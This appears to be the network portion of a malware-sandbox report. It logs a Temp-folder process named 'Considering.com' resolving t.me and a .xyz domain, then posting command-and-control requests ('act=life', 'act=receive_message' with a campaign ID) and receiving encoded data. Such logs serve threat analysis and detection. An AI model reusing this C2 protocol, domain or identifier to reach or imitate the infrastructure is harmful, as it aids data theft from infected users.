Feb 16, 2025 14:32:03.050911903 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.050955057 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:03.051024914 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.051604986 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.051624060 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:03.542646885 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:03.542781115 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.543858051 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.543869019 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:03.544363022 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:03.547780991 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.547858953 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:03.547919035 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.045418978 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.045550108 CET	443	49743	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.045686960 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.045686960 CET	49743	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.390834093 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.390863895 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.390945911 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.391380072 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.391388893 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.869076014 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.869173050 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.872189999 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.872196913 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.872585058 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.875426054 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.876822948 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.876858950 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.877013922 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877048969 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.877172947 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877207041 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.877353907 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877378941 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.877547979 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877574921 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.877734900 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877767086 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.877774954 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877911091 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.877939939 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894048929 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.894231081 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894275904 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894293070 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894296885 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.894341946 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.894365072 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894432068 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.894475937 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894506931 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894531965 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.894548893 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894572973 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:04.894609928 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:04.894659042 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.484443903 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.484693050 CET	443	49744	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.484765053 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.486819029 CET	49744	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.488574982 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.488677979 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.488771915 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.489141941 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.489181995 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.981487989 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.981568098 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.987906933 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.987926960 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.988445044 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:06.989727020 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.989749908 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:06.989815950 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:07.428922892 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:07.429152012 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:07.429214954 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:07.429305077 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:07.429325104 CET	443	49745	188.114.97.3	192.168.2.4
Feb 16, 2025 14:32:07.429342031 CET	49745	443	192.168.2.4	188.114.97.3
Feb 16, 2025 14:32:07.429348946 CET	443	49745	188.114.97.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 16, 2025 14:31:22.928658962 CET	60553	53	192.168.2.4	1.1.1.1
Feb 16, 2025 14:31:22.938862085 CET	53	60553	1.1.1.1	192.168.2.4
Feb 16, 2025 14:31:55.641562939 CET	52083	53	192.168.2.4	1.1.1.1
Feb 16, 2025 14:31:55.933243990 CET	53	52083	1.1.1.1	192.168.2.4
Feb 16, 2025 14:31:56.871567965 CET	62144	53	192.168.2.4	1.1.1.1
Feb 16, 2025 14:31:56.883577108 CET	53	62144	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 16, 2025 14:31:22.928658962 CET	192.168.2.4	1.1.1.1	0x2bb8	Standard query (0)	TNBFkotxhoPtfkcmNcPt.TNBFkotxhoPtfkcmNcPt	A (IP address)	IN (0x0001)	false
Feb 16, 2025 14:31:55.641562939 CET	192.168.2.4	1.1.1.1	0x4a05	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Feb 16, 2025 14:31:56.871567965 CET	192.168.2.4	1.1.1.1	0xac4	Standard query (0)	jookerkslxsafkr.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 16, 2025 14:31:22.938862085 CET	1.1.1.1	192.168.2.4	0x2bb8	Name error (3)	TNBFkotxhoPtfkcmNcPt.TNBFkotxhoPtfkcmNcPt	none	none	A (IP address)	IN (0x0001)	false
Feb 16, 2025 14:31:55.933243990 CET	1.1.1.1	192.168.2.4	0x4a05	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Feb 16, 2025 14:31:56.883577108 CET	1.1.1.1	192.168.2.4	0xac4	No error (0)	jookerkslxsafkr.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 16, 2025 14:31:56.883577108 CET	1.1.1.1	192.168.2.4	0xac4	No error (0)	jookerkslxsafkr.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

jookerkslxsafkr.xyz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	149.154.167.99	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:31:56 UTC	192	OUT	GET /gwwrggwarhrha HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: t.me
2025-02-16 13:31:56 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 16 Feb 2025 13:31:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12400 Connection: close Set-Cookie: stel_ssid=8c2778d2e0c21bc734_9472291497112341207; expires=Mon, 17 Feb 2025 13:31:56 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-02-16 13:31:56 UTC	12400	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 67 77 77 72 67 67 77 61 72 68 72 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @gwwrggwarhrha</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:31:57 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: jookerkslxsafkr.xyz
2025-02-16 13:31:57 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-02-16 13:31:57 UTC	1034	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:31:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=m3dfd6172h3fm75gorj06uv2tp; expires=Mon, 17 Feb 2025 13:31:57 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gXsRKkP6xFsRIpZJWO8LtXv7J0rKxLHCGWCiZx9QGzuJGHZ%2F0yzgpYreB%2F8nuQhDSVCtli0W0YzefAIJmaxcbTfKVbJmrFnwCRehdXbUPHYOsyOam%2F7mDjT58Q134tIUmbGxeznl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6a40a224369-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1638&rtt_var=619&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=910&delivery_rate=1782661&cwnd=220&unsent_bytes=0&cid=a8134cf498ceb8ff&ts=493&x=0"
2025-02-16 13:31:57 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-02-16 13:31:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:31:58 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 55 Host: jookerkslxsafkr.xyz
2025-02-16 13:31:58 UTC	55	OUT	Data Raw: 61 63 74 3d 72 65 63 65 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 32 57 43 38 67 42 2d 2d 6d 65 67 61 6c 75 74 7a 61 6c 75 74 26 6a 3d Data Ascii: act=receive_message&ver=4.0&lid=2WC8gB--megalutzalut&j=
2025-02-16 13:31:58 UTC	1040	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:31:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=6m37gnb4a4rink287j2042cvqr; expires=Mon, 17 Feb 2025 13:31:58 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ratu9MI%2FiD4AVl0et2mCP9e2vazJV5tFNvbng0O2TGLtK99NnEu%2FICZ02zyBuErK873rol5dBqzkZ1BJiEVV0dvzUwhUTmXLNg02OkmWlwv1W2bZ4COb8t%2Bd3%2BN%2BSlmxV2nWTp%2FK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6aa0a74c3f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1460&rtt_var=555&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=958&delivery_rate=1958417&cwnd=191&unsent_bytes=0&cid=d57d9cc8547a5b06&ts=510&x=0"
2025-02-16 13:31:58 UTC	329	IN	Data Raw: 63 61 63 0d 0a 70 48 4c 6d 72 31 65 65 53 54 57 6d 4f 35 30 41 51 30 6b 5a 69 33 4c 64 45 74 39 37 37 6a 47 50 49 35 34 36 68 2f 6d 39 4a 4a 2f 66 55 4a 43 4e 62 61 70 6c 46 39 56 65 76 7a 6f 33 4f 32 7a 75 58 76 39 7a 75 31 6e 55 56 2b 35 50 37 56 2b 72 32 38 74 4a 76 5a 34 55 68 38 4d 6b 2b 32 55 58 77 30 4f 2f 4f 68 67 79 4f 2b 34 63 2f 79 6a 39 48 6f 52 54 37 6b 2f 38 57 2b 79 57 7a 55 6a 38 7a 42 36 42 78 7a 4c 39 4c 56 54 4b 56 76 68 6c 4a 69 68 7a 35 52 75 77 65 72 4a 5a 77 68 50 71 57 62 77 41 70 62 54 59 55 50 37 70 45 35 58 45 64 65 4e 6c 54 6f 52 65 38 79 4a 35 61 33 6a 75 45 4c 46 30 75 78 43 47 57 65 64 48 2f 56 37 74 69 64 52 43 39 38 77 51 67 73 59 34 39 44 6c 5a 77 46 48 7a 59 79 77 6f 4f 36 64 51 75 47 6a 39 51 63 77 41 33 30 4c 74 53 66 Data Ascii: cacpHLmr1eeSTWmO50AQ0kZi3LdEt977jGPI546h/m9JJ/fUJCNbaplF9Vevzo3O2zuXv9zu1nUV+5P7V+r28tJvZ4Uh8Mk+2UXw0O/OhgyO+4c/yj9HoRT7k/8W+yWzUj8zB6BxzL9LVTKVvhlJihz5RuwerJZwhPqWbwApbTYUP7pE5XEdeNlToRe8yJ5a3juELF0uxCGWedH/V7tidRC98wQgsY49DlZwFHzYywoO6dQuGj9QcwA30LtSf
2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 76 68 71 59 58 76 77 42 34 78 62 38 32 39 68 4b 76 5a 35 51 67 73 4d 30 38 53 74 46 7a 46 4c 30 5a 7a 4d 67 63 75 51 64 76 33 32 33 46 6f 39 54 36 6b 76 32 56 2b 2b 66 30 6b 76 37 78 68 44 45 67 33 58 37 4d 78 65 63 47 64 78 6e 4d 53 78 33 2f 31 4b 46 4d 4b 4a 58 6c 52 50 71 54 62 77 41 70 5a 50 61 52 66 37 4e 48 34 66 46 50 75 34 72 52 63 4a 55 2b 6e 41 6e 4c 6e 58 6a 45 36 31 36 73 78 2b 50 57 75 5a 49 2b 56 2f 68 32 35 45 47 2b 74 35 51 33 49 30 55 38 53 42 62 7a 6b 37 2f 49 6a 35 6c 59 71 6b 58 73 7a 44 6c 57 59 68 53 36 55 44 34 56 75 75 66 30 30 44 7a 79 78 2b 43 78 7a 58 37 49 56 2f 4d 57 50 4a 70 4c 69 74 2b 35 42 53 35 66 4c 77 63 7a 42 32 74 52 75 51 59 76 64 76 78 51 66 37 55 55 72 48 4f 4f 2f 49 73 51 59 52 47 73 58 74 68 4c 48 65 70 53 50 39 Data Ascii: vhqYXvwB4xb829hKvZ5QgsM08StFzFL0ZzMgcuQdv323Fo9T6kv2V++f0kv7xhDEg3X7MxecGdxnMSx3/1KFMKJXlRPqTbwApZPaRf7NH4fFPu4rRcJU+nAnLnXjE616sx+PWuZI+V/h25EG+t5Q3I0U8SBbzk7/Ij5lYqkXszDlWYhS6UD4Vuuf00Dzyx+CxzX7IV/MWPJpLit+5BS5fLwczB2tRuQYvdvxQf7UUrHOO/IsQYRGsXthLHepSP9
2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 68 4f 6a 41 66 74 41 70 63 4f 66 64 2b 72 4e 55 72 48 4f 4f 2f 49 73 51 59 52 47 73 58 74 68 4c 48 65 70 53 50 39 39 74 52 79 4a 58 4f 78 4c 38 6c 33 76 6c 39 64 49 2f 74 51 66 67 4d 30 35 39 43 46 61 79 6c 33 33 61 79 6f 67 66 65 6b 52 74 54 44 7a 57 59 74 4c 72 52 6d 38 62 4f 4b 58 30 6b 6d 2f 38 78 4f 4b 77 7a 4c 71 61 30 69 4b 51 4c 39 6c 4c 57 73 6a 71 52 79 32 63 4c 59 54 69 46 50 71 54 50 6c 62 34 70 6a 53 51 66 66 49 46 34 44 42 50 50 45 74 56 38 4e 64 2b 6e 41 6b 49 6e 66 6c 55 50 45 77 75 67 48 4d 43 36 31 75 2b 30 37 6d 74 4e 78 58 39 49 59 50 79 74 52 31 2b 79 63 58 6e 42 6e 34 5a 79 6b 67 66 65 45 51 72 58 57 7a 45 6f 31 5a 36 30 44 78 56 4f 4f 62 33 6b 62 37 79 68 43 44 79 69 66 75 4c 6c 48 57 55 37 38 73 59 53 78 6a 71 55 6a 2f 52 71 30 4f Data Ascii: hOjAftApcOfd+rNUrHOO/IsQYRGsXthLHepSP99tRyJXOxL8l3vl9dI/tQfgM059CFayl33ayogfekRtTDzWYtLrRm8bOKX0km/8xOKwzLqa0iKQL9lLWsjqRy2cLYTiFPqTPlb4pjSQffIF4DBPPEtV8Nd+nAkInflUPEwugHMC61u+07mtNxX9IYPytR1+ycXnBn4ZykgfeEQrXWzEo1Z60DxVOOb3kb7yhCDyifuLlHWU78sYSxjqUj/Rq0O
2025-02-16 13:31:58 UTC	184	IN	Data Raw: 37 31 56 2b 32 54 30 45 6e 35 79 42 61 43 77 44 44 7a 49 55 58 4d 56 2f 4a 70 4c 69 42 70 36 52 32 37 66 4c 6b 52 68 31 6d 74 44 37 78 66 2f 64 75 48 42 73 6a 4c 48 34 54 4f 49 37 77 30 47 64 30 5a 2b 47 35 68 63 7a 76 6c 48 72 39 2f 73 52 57 48 57 2b 78 4e 38 6c 2f 67 6b 74 64 4f 37 38 63 55 6a 4d 77 37 38 79 70 54 77 56 7a 37 5a 53 55 74 64 4b 6c 65 2f 33 65 6c 57 64 51 54 77 6d 62 4a 47 73 53 68 6e 31 6d 7a 33 31 43 44 77 58 57 6b 61 31 76 48 56 66 64 74 4a 79 4a 33 34 78 6d 30 66 4c 59 64 67 46 72 6f 52 2f 31 64 34 4a 72 62 53 76 66 41 0d 0a Data Ascii: 71V+2T0En5yBaCwDDzIUXMV/JpLiBp6R27fLkRh1mtD7xf/duHBsjLH4TOI7w0Gd0Z+G5hczvlHr9/sRWHW+xN8l/gktdO78cUjMw78ypTwVz7ZSUtdKle/3elWdQTwmbJGsShn1mz31CDwXWka1vHVfdtJyJ34xm0fLYdgFroR/1d4JrbSvfA
2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 33 63 65 38 0d 0a 45 34 66 43 4f 76 4d 6a 46 34 6f 5a 2b 48 70 68 63 7a 76 4d 42 37 52 2b 75 31 6d 54 48 66 51 42 2b 31 53 6c 77 35 39 4b 39 4d 41 57 67 63 45 30 2b 69 4e 53 7a 46 33 2b 5a 43 63 6f 64 4f 30 56 76 6e 2b 35 46 59 4a 5a 37 45 44 77 55 2b 71 51 32 67 61 7a 68 68 65 63 6a 57 32 38 47 6c 54 53 54 75 39 75 59 54 51 31 38 46 43 34 66 50 31 42 7a 46 4c 2f 53 2f 5a 57 34 4a 54 61 52 66 4c 42 48 59 4c 42 50 2f 55 6a 55 63 74 51 37 57 45 74 4a 58 7a 6e 48 4c 46 39 74 78 71 42 45 36 4d 42 2b 30 43 6c 77 35 39 71 2b 73 73 2b 6a 38 45 79 76 44 51 5a 33 52 6e 34 62 6d 46 7a 4f 2b 55 61 73 33 6d 39 45 49 6c 62 35 6b 6a 35 57 65 36 65 33 45 44 77 79 52 6d 57 78 7a 62 79 4b 46 76 49 58 2f 35 68 4d 79 4e 79 71 56 37 2f 64 36 56 5a 31 42 50 4d 54 2f 46 4d 34 Data Ascii: 3ce8E4fCOvMjF4oZ+HphczvMB7R+u1mTHfQB+1Slw59K9MAWgcE0+iNSzF3+ZCcodO0Vvn+5FYJZ7EDwU+qQ2gazhhecjW28GlTSTu9uYTQ18FC4fP1BzFL/S/ZW4JTaRfLBHYLBP/UjUctQ7WEtJXznHLF9txqBE6MB+0Clw59q+ss+j8EyvDQZ3Rn4bmFzO+Uas3m9EIlb5kj5We6e3EDwyRmWxzbyKFvIX/5hMyNyqV7/d6VZ1BPMT/FM4
2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 2b 78 78 71 4e 79 6a 33 37 4b 45 57 45 46 37 39 6c 4f 57 73 6a 71 54 6d 34 59 72 4d 4a 7a 45 79 6a 57 4c 78 66 36 64 75 48 42 76 6e 4d 48 34 44 4b 4f 66 6f 75 55 63 6c 59 38 47 4d 68 4a 48 2f 69 47 62 6c 78 73 42 79 42 56 2f 39 4c 39 31 66 70 6b 74 4e 4c 76 59 68 51 67 39 56 31 70 47 74 6d 79 56 66 78 5a 54 64 72 5a 4b 63 4a 2f 33 65 78 57 64 51 54 37 45 33 7a 57 2b 71 59 33 45 66 33 31 41 4b 49 78 44 33 35 4a 31 7a 4b 58 2b 31 6b 4c 69 4a 34 36 68 6d 34 65 4c 45 54 6a 31 53 74 44 37 78 66 2f 64 75 48 42 74 37 52 41 49 6d 4e 4b 72 49 79 46 38 4e 56 76 7a 70 68 49 33 62 68 47 72 74 33 73 42 36 4b 57 76 39 49 2b 56 62 6c 6e 39 52 4a 2b 38 49 54 68 4e 38 7a 2b 43 4e 55 79 56 54 78 59 53 56 72 4e 61 6b 58 70 7a 44 6c 57 62 35 65 34 31 72 7a 58 2f 53 52 6e 31 Data Ascii: +xxqNyj37KEWEF79lOWsjqTm4YrMJzEyjWLxf6duHBvnMH4DKOfouUclY8GMhJH/iGblxsByBV/9L91fpktNLvYhQg9V1pGtmyVfxZTdrZKcJ/3exWdQT7E3zW+qY3Ef31AKIxD35J1zKX+1kLiJ46hm4eLETj1StD7xf/duHBt7RAImNKrIyF8NVvzphI3bhGrt3sB6KWv9I+Vbln9RJ+8IThN8z+CNUyVTxYSVrNakXpzDlWb5e41rzX/SRn1
2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 68 4d 63 7a 2b 43 35 52 7a 6c 7a 2f 61 53 49 6b 66 2b 38 55 73 48 43 32 45 49 31 56 36 45 76 33 58 75 69 59 32 55 43 39 69 46 43 44 31 58 57 6b 61 33 66 66 56 50 4e 6c 59 54 51 31 38 46 43 34 66 50 31 42 7a 46 6a 68 52 66 74 59 36 4a 6a 58 51 2f 6e 4d 46 59 54 46 4a 2f 51 72 55 4e 5a 4c 2f 32 73 6b 4a 33 6a 70 46 4c 6c 35 75 78 71 49 45 36 4d 42 2b 30 43 6c 77 35 39 72 38 63 45 35 67 39 5a 31 34 32 56 4f 68 46 37 7a 49 6e 6c 72 65 75 49 61 73 48 32 2b 48 34 39 59 36 45 76 39 58 2b 32 57 7a 55 58 79 79 52 53 45 77 6a 50 36 4b 6c 6a 43 58 76 5a 6a 4b 53 77 37 70 31 43 34 61 50 31 42 7a 48 33 71 51 76 67 59 2b 74 58 47 42 76 72 4b 55 4e 79 4e 4e 66 59 68 58 63 70 5a 2b 48 41 6e 49 6e 76 71 41 72 78 32 74 52 2b 41 58 2b 42 4a 39 56 6a 67 6b 4e 4a 4e 38 4d 41 Data Ascii: hMcz+C5Rzlz/aSIkf+8UsHC2EI1V6Ev3XuiY2UC9iFCD1XWka3ffVPNlYTQ18FC4fP1BzFjhRftY6JjXQ/nMFYTFJ/QrUNZL/2skJ3jpFLl5uxqIE6MB+0Clw59r8cE5g9Z142VOhF7zInlreuIasH2+H49Y6Ev9X+2WzUXyyRSEwjP6KljCXvZjKSw7p1C4aP1BzH3qQvgY+tXGBvrKUNyNNfYhXcpZ+HAnInvqArx2tR+AX+BJ9VjgkNJN8MA
2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 66 70 72 44 35 63 58 76 32 59 77 61 79 4f 35 51 75 51 6c 37 6b 37 63 41 66 49 50 35 52 6a 7a 32 34 63 55 73 34 59 43 78 4a 56 31 75 79 68 46 31 6c 2f 38 64 43 4a 73 52 64 63 33 70 58 32 37 44 70 31 74 30 30 62 6d 56 65 4f 4d 7a 67 72 6f 78 52 36 4b 79 69 4f 38 5a 52 66 4c 47 61 64 62 59 57 4d 37 31 6c 37 2f 61 50 31 42 7a 47 62 75 54 2f 4a 66 38 34 71 53 59 65 66 4c 46 70 50 63 64 62 4a 72 55 59 51 42 72 53 78 68 4c 32 71 70 53 4f 38 69 35 6b 7a 66 42 4c 30 54 34 78 62 38 32 38 6b 47 70 5a 52 65 78 4e 39 31 70 47 73 51 78 30 76 74 5a 43 49 39 65 4b 34 75 67 56 36 36 48 34 6c 55 2f 51 50 53 55 2f 47 63 6e 77 69 39 79 56 44 63 39 48 57 30 61 32 69 4b 47 65 63 69 65 57 74 4f 36 68 36 78 64 36 73 49 77 58 33 71 52 2f 6c 66 39 64 6e 78 54 65 6e 42 55 4d 71 4e Data Ascii: fprD5cXv2YwayO5QuQl7k7cAfIP5Rjz24cUs4YCxJV1uyhF1l/8dCJsRdc3pX27Dp1t00bmVeOMzgroxR6KyiO8ZRfLGadbYWM71l7/aP1BzGbuT/Jf84qSYefLFpPcdbJrUYQBrSxhL2qpSO8i5kzfBL0T4xb828kGpZRexN91pGsQx0vtZCI9eK4ugV66H4lU/QPSU/Gcnwi9yVDc9HW0a2iKGecieWtO6h6xd6sIwX3qR/lf9dnxTenBUMqN
